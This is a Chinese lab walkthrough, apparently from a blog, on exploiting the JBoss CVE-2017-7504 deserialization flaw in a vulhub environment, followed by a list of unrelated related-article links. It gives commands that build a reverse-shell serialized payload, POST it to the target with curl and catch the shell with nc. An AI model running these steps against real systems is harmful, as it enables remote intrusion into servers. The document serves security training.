vulhub之jboss(CVE-2017-7504)

复制代码
JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似,只是利用的路径不一样, CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。

JBoss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

环境准备

问题:

端口占用

如果默认的8080端口被占用,可以改为:docker run -p 8080:8081 <image_name>

或者修改docker-compose 端口号

漏洞发现

访问your-ip:8080/jbossmq-httpil/HTTPServerILServlet

如出现以下界面,说明存在此漏洞

漏洞利用

进入攻击机,下载反序列化工具

下载地址:GitHub - ianxtianxt/CVE-2015-7501: (CVE-2015-7501)JBoss JMXInvokerServlet 反序列化漏洞

进入目录执行

1、javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2、java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:监听端口

再用之前生成的.ser文件,通过POST二进制数据上去,使用nc监听端口,即可拿到shell

curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

相关推荐
摘星编程2 分钟前
Linux 日志分析:用 ELK 搭建个人运维监控平台
linux·运维·elk·系统监控·性能优化维监
haogexiaole7 分钟前
网络操作系统与分布式操作系统的区别
linux
两袖清风99811 分钟前
【Linux】CentOS7安装教程
linux·运维·服务器
硬核子牙15 分钟前
mount藏着的Linux内核的秘密
linux
歪比巴卜__18 分钟前
【系列文章】Linux中的并发与竞争[04]-信号量
linux
東雪蓮☆21 分钟前
LVS 负载均衡群集
linux·运维·服务器·负载均衡·lvs
和煦的春风1 小时前
性能案例分析 | Waiting for GPU completion
android·linux
Nuyoah11klay1 小时前
华清远见25072班网络编程学习day5
网络
lybugproducer2 小时前
深入 Linux 文件系统:从数据存储到万物皆文件
linux
CyHacker_10102 小时前
网络编程-day4
网络